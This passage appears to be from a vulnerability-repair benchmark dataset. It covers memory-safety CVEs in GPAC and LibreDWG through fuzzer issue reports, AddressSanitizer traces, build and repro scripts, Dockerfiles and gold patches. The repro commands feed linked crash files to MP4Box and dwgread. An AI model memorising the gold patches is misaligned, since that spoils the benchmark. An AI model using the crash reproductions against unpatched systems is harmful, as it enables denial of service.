## URL: https://github.com/gpac/gpac/issues/2612
## Description:
Issue: gpac/gpac#2612
Title: double-free in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17
State: closed
Created by: gandalf4a
Created at: 2023-10-08 16:13:47+00:00
Issue Body:
# Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master
```
# Platform
```
$ uname -a
Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
# Asan
```
/home/user/vul/MP4Box_crash/id000037sig06src002502time27968081execs258947ophavocrep16
[32m[iso file] Unknown box type 00000000 in parent moov
[0m[32m[iso file] Unknown top-level box type 00000100
[0m[32m[Dasher] No template assigned, using $File$_dash$FS$$Number$
[0m[32m[Dasher] No bitrate property assigned to PID V1, computing from bitstream
[0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2
[0m[32m[iso file] Unknown box type 00000000 in parent moov
[0m[33m[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 18446744073709551615/12288
[0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2
[0m[31m[MuxIsom] Packet with no CTS assigned, cannot store to track, ignoring
[0m[31m[IsoMedia] File truncated, aborting read for track 1
[0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2
[0m[37mDashing P1 AS#1.1(V) done (1 segs)
[0m[31m[Dasher] Couldn't compute bitrate of PID V1 in time for manifest generation, please specify #Bitrate property
[0m[31m[Dasher] Couldn't compute bitrate of PID V1 in time for manifest generation, please specify #Bitrate property
[0m[32m[MPD] Generating MPD at time 2023-10-08T12:38:38.043Z
[0m[32m[Dasher] End of Period
[0m[32m[Dasher] End of MPD (no more active streams)
[0m=================================================================
==827317==ERROR: AddressSanitizer: attempting double-free on 0x619000015980 in thread T0:
#0 0x55e7797a5972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525cd97945 in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17
#2 0x7f525cd6a022 in gf_fq_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_queue.c:105:33
#3 0x7f525cda14e5 in gf_filter_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:664:3
#4 0x7f525cd6ede9 in gf_fs_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:782:4
#5 0x7f525c6283f6 in gf_dasher_clean_inputs /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:164:3
#6 0x7f525c6283f6 in gf_dasher_del /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:173:2
#7 0x55e779809d2d in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4894:2
#8 0x55e7797fab6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#9 0x7f525b629d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#10 0x7f525b629e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#11 0x55e779722dd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
0x619000015980 is located 0 bytes inside of 1084-byte region [0x619000015980,0x619000015dbc)
freed by thread T0 here:
#0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525c4f7ab6 in Media_GetSample /home/user/fuzzing_gpac/gpac/src/isomedia/media.c:619:30
#2 0x7f525c45d7b3 in gf_isom_get_sample_ex /home/user/fuzzing_gpac/gpac/src/isomedia/isom_read.c:1975:6
#3 0x7f525d05a156 in isor_reader_get_sample /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read_ch.c:398:19
#4 0x7f525d04d2d5 in isoffin_process /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read.c:1486:5
#5 0x7f525cdafa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
previously allocated by thread T0 here:
LLVMSymbolizer: error reading file: No such file or directory
#0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525cd00add in gf_filter_pck_expand /home/user/fuzzing_gpac/gpac/src/filter_core/filter_pck.c:1846:15
#2 0x7ffd05c3a8df ([stack]+0x328df)
SUMMARY: AddressSanitizer: double-free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) in free
==827317==ABORTING
```
# Reproduce
```
./MP4Box -dash 10000 poc
```
# POC File
https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/df_105972
# Credit
```
Gandalf4a
``` |
gpac.cve-2023-48011 | gpac/gpac | gpac | c++ | /src/gpac | address | GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a heap-use-after-free via the flush_ref_samples function at /gpac/src/isomedia/movie_fragments.c. | 91e787d6ce65df73f84b3cea1b77b7e9a6117533 | #!/bin/bash
# Ensure the script exits on error and undefined variables
set -euo pipefail
# Set default CFLAGS if not set
CFLAGS="${CFLAGS:-} -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer-no-link"
# Check if configure script exists and is executable
if [ -f ./configure ]; then
chmod +x ./configure
./configure --static-build --extra-cflags="$CFLAGS" --extra-ldflags="$CFLAGS"
else
echo "Error: configure script not found."
exit 1
fi
# Compile the project using all available processors
make -j$(nproc) | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR gpac.cve-2023-48011..."
# TODO: Add commands to trigger the specific vulnerability
# For now, it's a placeholder.
/src/gpac/bin/gcc/MP4Box -dash 10000 /testcase/poc.mp4
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/gpac
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout 91e787d6ce65df73f84b3cea1b77b7e9a6117533
WORKDIR $SRC/gpac
COPY build.sh $SRC/ | diff --git a/src/isomedia/movie_fragments.c b/src/isomedia/movie_fragments.c
index b7f7ade32..d665eeb9d 100644
--- a/src/isomedia/movie_fragments.c
+++ b/src/isomedia/movie_fragments.c
@@ -643,6 +644,7 @@ u32 UpdateRuns(GF_ISOFile *movie, GF_TrackFragmentBox *traf)
if (!first_ent) {
i--;
gf_list_rem(traf->TrackRuns, i);
+ gf_list_del_item(movie->moof->trun_list, trun);
continue;
}
trun->flags = 0;
| 1 | ==836900==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000001d88 at pc 0x7f57c0120bf1 bp 0x7ffeac405a70 sp 0x7ffeac405a68
READ of size 8 at 0x60b000001d88 thread T0
#0 0x7f57c0120bf0 in flush_ref_samples /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37
#1 0x7f57c0128df2 in gf_isom_close_segment /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:2331:4
#2 0x7f57c0cfd198 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6734:8
#3 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14
#4 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
#5 0x7f57c097d47b in gf_fs_thread_proc /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2105:3
#6 0x7f57c097b5cf in gf_fs_run /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2405:3
#7 0x7f57c022ac6a in gf_dasher_process /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:1236:6
#8 0x55ff536546dc in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4831:15
#9 0x55ff53645b6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#10 0x7f57bf229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#11 0x7f57bf229e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#12 0x55ff5356ddd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
0x60b000001d88 is located 104 bytes inside of 112-byte region [0x60b000001d20,0x60b000001d90)
freed by thread T0 here:
#0 0x55ff535f0972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f57c001e6f5 in gf_isom_box_del /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2005:3
previously allocated by thread T0 here:
#0 0x55ff535f0c1e in malloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105c1e) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f57bff95c5a in trun_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_code_base.c:7805:2
#2 0x7f57c0026335 in gf_isom_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:1896:9
#3 0x7f57c0026335 in gf_isom_box_new_parent /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2351:14
#4 0x7f57c0d06f05 in mp4_mux_process_sample /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:4915:9
#5 0x7f57c0cf85a4 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6653:8
#6 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14
#7 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
SUMMARY: AddressSanitizer: heap-use-after-free /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples
Shadow bytes around the buggy address:
0x0c167fff8360: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff8370: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c167fff8380: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa 00 00
0x0c167fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
0x0c167fff83a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c167fff83b0: fd[fd]fa fa fa fa fa fa fa fa fd fd fd fd fd fd
0x0c167fff83c0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x0c167fff83d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
0x0c167fff83e0: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd
0x0c167fff83f0: fd fd fd fd fa fa fa fa fa fa fa fa fd fd fd fd
0x0c167fff8400: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==836900==ABORTING | ================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/gpac/gpac/issues/2611
## Description:
Issue: gpac/gpac#2611
Title: heap-use-after-free in ./gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples
State: closed
Created by: gandalf4a
Created at: 2023-10-08 16:10:40+00:00
Issue Body:
# Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master
```
# Platform
```
$ uname -a
Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
# Asan
```
[33m[iso file] extra box maxr found in hinf, deleting
[0m[32m[iso file] Unknown box type traI in parent moov
[0m[33m[iso file] Box "stss" (start 9939) has 32 extra bytes
[0m[33m[iso file] extra box maxr found in hinf, deleting
[0m[33m[iso file] Track with no sample description box !
[0m[33m[IsoMedia] Track 4 type MPEG not natively handled
[0m[32m[Dasher] No template assigned, using $File$_dash$FS$$Number$
[0m[32m[iso file] Unknown box type traI in parent moov
[0m[33m[MP4Mux] muxing unknown codec ID Codec Not Supported, using generic sample entry with 4CC "MPEG"
[0m[31m[IsoMedia] File truncated, aborting read for track 1
[0m[37mDashing P1 AS#1.1(V) done (1 segs)
[0m[31m[MP4Mux] Failed to add sample DTS 0 from O7 - prev DTS 18446744073709551615: Out Of Memory
[0m=================================================================
==836900==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000001d88 at pc 0x7f57c0120bf1 bp 0x7ffeac405a70 sp 0x7ffeac405a68
READ of size 8 at 0x60b000001d88 thread T0
#0 0x7f57c0120bf0 in flush_ref_samples /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37
#1 0x7f57c0128df2 in gf_isom_close_segment /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:2331:4
#2 0x7f57c0cfd198 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6734:8
#3 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14
#4 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
#5 0x7f57c097d47b in gf_fs_thread_proc /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2105:3
#6 0x7f57c097b5cf in gf_fs_run /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2405:3
#7 0x7f57c022ac6a in gf_dasher_process /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:1236:6
#8 0x55ff536546dc in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4831:15
#9 0x55ff53645b6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#10 0x7f57bf229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#11 0x7f57bf229e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#12 0x55ff5356ddd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
0x60b000001d88 is located 104 bytes inside of 112-byte region [0x60b000001d20,0x60b000001d90)
freed by thread T0 here:
#0 0x55ff535f0972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f57c001e6f5 in gf_isom_box_del /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2005:3
previously allocated by thread T0 here:
#0 0x55ff535f0c1e in malloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105c1e) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f57bff95c5a in trun_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_code_base.c:7805:2
#2 0x7f57c0026335 in gf_isom_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:1896:9
#3 0x7f57c0026335 in gf_isom_box_new_parent /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2351:14
#4 0x7f57c0d06f05 in mp4_mux_process_sample /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:4915:9
#5 0x7f57c0cf85a4 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6653:8
#6 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14
#7 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
SUMMARY: AddressSanitizer: heap-use-after-free /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples
Shadow bytes around the buggy address:
0x0c167fff8360: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff8370: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c167fff8380: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa 00 00
0x0c167fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
0x0c167fff83a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c167fff83b0: fd[fd]fa fa fa fa fa fa fa fa fd fd fd fd fd fd
0x0c167fff83c0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x0c167fff83d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
0x0c167fff83e0: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd
0x0c167fff83f0: fd fd fd fd fa fa fa fa fa fa fa fa fd fd fd fd
0x0c167fff8400: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==836900==ABORTING
```
# Reproduce
```
./MP4Box -dash 10000 poc
```
# POC File
https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/huaf_936
# Credit
```
Gandalf4a
``` |
libredwg.cve-2021-28237 | libredwg/libredwg | libredwg | c++ | /src/libredwg | address | LibreDWG v0.12.3 was discovered to contain a heap-buffer overflow via decode_preR13. | 49aeec4ea55f7b60247af5ccbe84ed5bbf798da9 | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
# Check if autogen.sh exists and run it if present
if [ -f ./autogen.sh ]; then
chmod +x ./autogen.sh
./autogen.sh
fi
# Set compiler flags
# Initialize LDFLAGS if not set
: ${LDFLAGS:=}
export CFLAGS="$CFLAGS -fsanitize=address"
export LDFLAGS="$LDFLAGS -fsanitize=address"
# Configure and build
./configure --disable-shared --disable-bindings
make -j$(nproc) | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR libredwg.cve-2021-28237..."
# TODO: Add commands to trigger the specific vulnerability
# For now, it's a placeholder.
/src/libredwg/programs/dwgread /testcase/poc
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/libredwg
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf libtool texinfo
RUN git clone https://github.com/libredwg/libredwg libredwg
RUN git -C libredwg checkout 49aeec4ea55f7b60247af5ccbe84ed5bbf798da9
WORKDIR $SRC/libredwg
COPY build.sh $SRC/ | diff --git a/src/decode.c b/src/decode.c
index 281df66c..79134db0 100644
--- a/src/decode.c
+++ b/src/decode.c
@@ -329,19 +329,20 @@ decode_preR13_section (Dwg_Section_Type_r11 id, Bit_Chain *restrict dat,
// TODO: move to a spec dwg_r11.spec, and dwg_decode_r11_NAME
#define PREP_TABLE(token) \
- Dwg_Object *obj = &dwg->object[num + i]; \
- Dwg_Object_##token *_obj = (Dwg_Object_##token*)calloc (1, sizeof (Dwg_Object_##token)); \
- if (dat->byte > dat->size) \
- { \
- free (_obj); \
- return DWG_ERR_INVALIDDWG; \
- } \
- obj->tio.object = (Dwg_Object_Object*)calloc (1, sizeof (Dwg_Object_Object)); \
+ Dwg_Object *obj; \
+ Dwg_Object_##token *_obj; \
+ if (dat->byte > dat->size || (num + i) >= dwg->num_objects) \
+ return DWG_ERR_INVALIDDWG; \
+ obj = &dwg->object[num + i]; \
+ _obj = (Dwg_Object_##token *)calloc (1, sizeof (Dwg_Object_##token)); \
+ obj->tio.object \
+ = (Dwg_Object_Object *)calloc (1, sizeof (Dwg_Object_Object)); \
if (!_obj || !obj->tio.object) \
{ \
- if (_obj) free (_obj); \
+ if (_obj) \
+ free (_obj); \
return DWG_ERR_OUTOFMEM; \
- } \
+ } \
obj->index = num + i; \
dwg->num_objects++; \
obj->tio.object->tio.token = _obj; \
| 1 | ==12538==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6120000001c8 at pc 0x7ffff29b78be bp 0x7fffffffa8e0 sp 0x7fffffffa8d0
WRITE of size 8 at 0x6120000001c8 thread T0
#0 0x7ffff29b78bd in decode_preR13_section /home/yuan/afl-target/libredwg-asan/src/decode.c:470
#1 0x7ffff2a26e90 in decode_preR13 /home/yuan/afl-target/libredwg-asan/src/decode.c:744
#2 0x7ffff29a43e9 in dwg_decode /home/yuan/afl-target/libredwg-asan/src/decode.c:235
#3 0x7ffff297afa4 in dwg_read_file /home/yuan/afl-target/libredwg-asan/src/dwg.c:253
#4 0x5555555576f3 in main /home/yuan/afl-target/libredwg-asan/programs/dwgread.c:251
#5 0x7ffff1f52bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#6 0x5555555562a9 in _start (/home/yuan/afl-target/libredwg-asan/programs/.libs/dwgread+0x22a9)
Address 0x6120000001c8 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/yuan/afl-target/libredwg-asan/src/decode.c:470 in decode_preR13_section
Shadow bytes around the buggy address:
0x0c247fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa
=>0x0c247fff8030: fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa
0x0c247fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==12538==ABORTING | ================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/LibreDWG/libredwg/issues/325
## Description:
Issue: LibreDWG/libredwg#325
Title: Heap-buffer-overflow in decode_preR13 line 470
State: closed
Created by: zodf0055980
Created at: 2021-03-04 04:20:26+00:00
Labels: fuzzing
Issue Body:
I found a heap buffer overflow in the current master (8072563).
# Configure
CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure
# Command
`./dwgread ./poc`
# ASAN report
```
➜ ./dwgread ./poc
ERROR: This version of LibreDWG is only capable of decoding version r13-r2018 (code: AC1012-AC1032) DWG files.
We don't decode many entities and no blocks yet.
ERROR: offset -39
ERROR: offset -85
=================================================================
==12538==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6120000001c8 at pc 0x7ffff29b78be bp 0x7fffffffa8e0 sp 0x7fffffffa8d0
WRITE of size 8 at 0x6120000001c8 thread T0
#0 0x7ffff29b78bd in decode_preR13_section /home/yuan/afl-target/libredwg-asan/src/decode.c:470
#1 0x7ffff2a26e90 in decode_preR13 /home/yuan/afl-target/libredwg-asan/src/decode.c:744
#2 0x7ffff29a43e9 in dwg_decode /home/yuan/afl-target/libredwg-asan/src/decode.c:235
#3 0x7ffff297afa4 in dwg_read_file /home/yuan/afl-target/libredwg-asan/src/dwg.c:253
#4 0x5555555576f3 in main /home/yuan/afl-target/libredwg-asan/programs/dwgread.c:251
#5 0x7ffff1f52bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#6 0x5555555562a9 in _start (/home/yuan/afl-target/libredwg-asan/programs/.libs/dwgread+0x22a9)
Address 0x6120000001c8 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/yuan/afl-target/libredwg-asan/src/decode.c:470 in decode_preR13_section
Shadow bytes around the buggy address:
0x0c247fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa
=>0x0c247fff8030: fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa
0x0c247fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==12538==ABORTING
```
# POC
[poc.zip](https://github.com/LibreDWG/libredwg/files/6080842/poc.zip) |
End of preview. Expand
in Data Studio
Data Instances
instance_id: (str) - A unique identifier for the instance
repo: (str) - The repository name including the owner
project_name: (str) - The name of the project without owner
lang: (str) - The programming language of the repository
work_dir: (str) - Working directory path
sanitizer: (str) - The type of sanitizer used for testing (e.g., Address, Memory, Undefined)
bug_description: (str) - Description of the vulnerability
base_commit: (str) - The base commit hash where the reproduction is tested
build_sh: (str) - Build script content
secb_sh: (str) - Helper script content
dockerfile: (str) - Dockerfile content
patch (str) - Gold patch content
exit_code (int) - Exit code of the target program after successful patch when running the PoC
sanitizer_report (str) - The error messages and stack traces generated by the sanitizer when detecting the vulnerability
bug_report (str) - Original bug report
- Downloads last month
- 1,097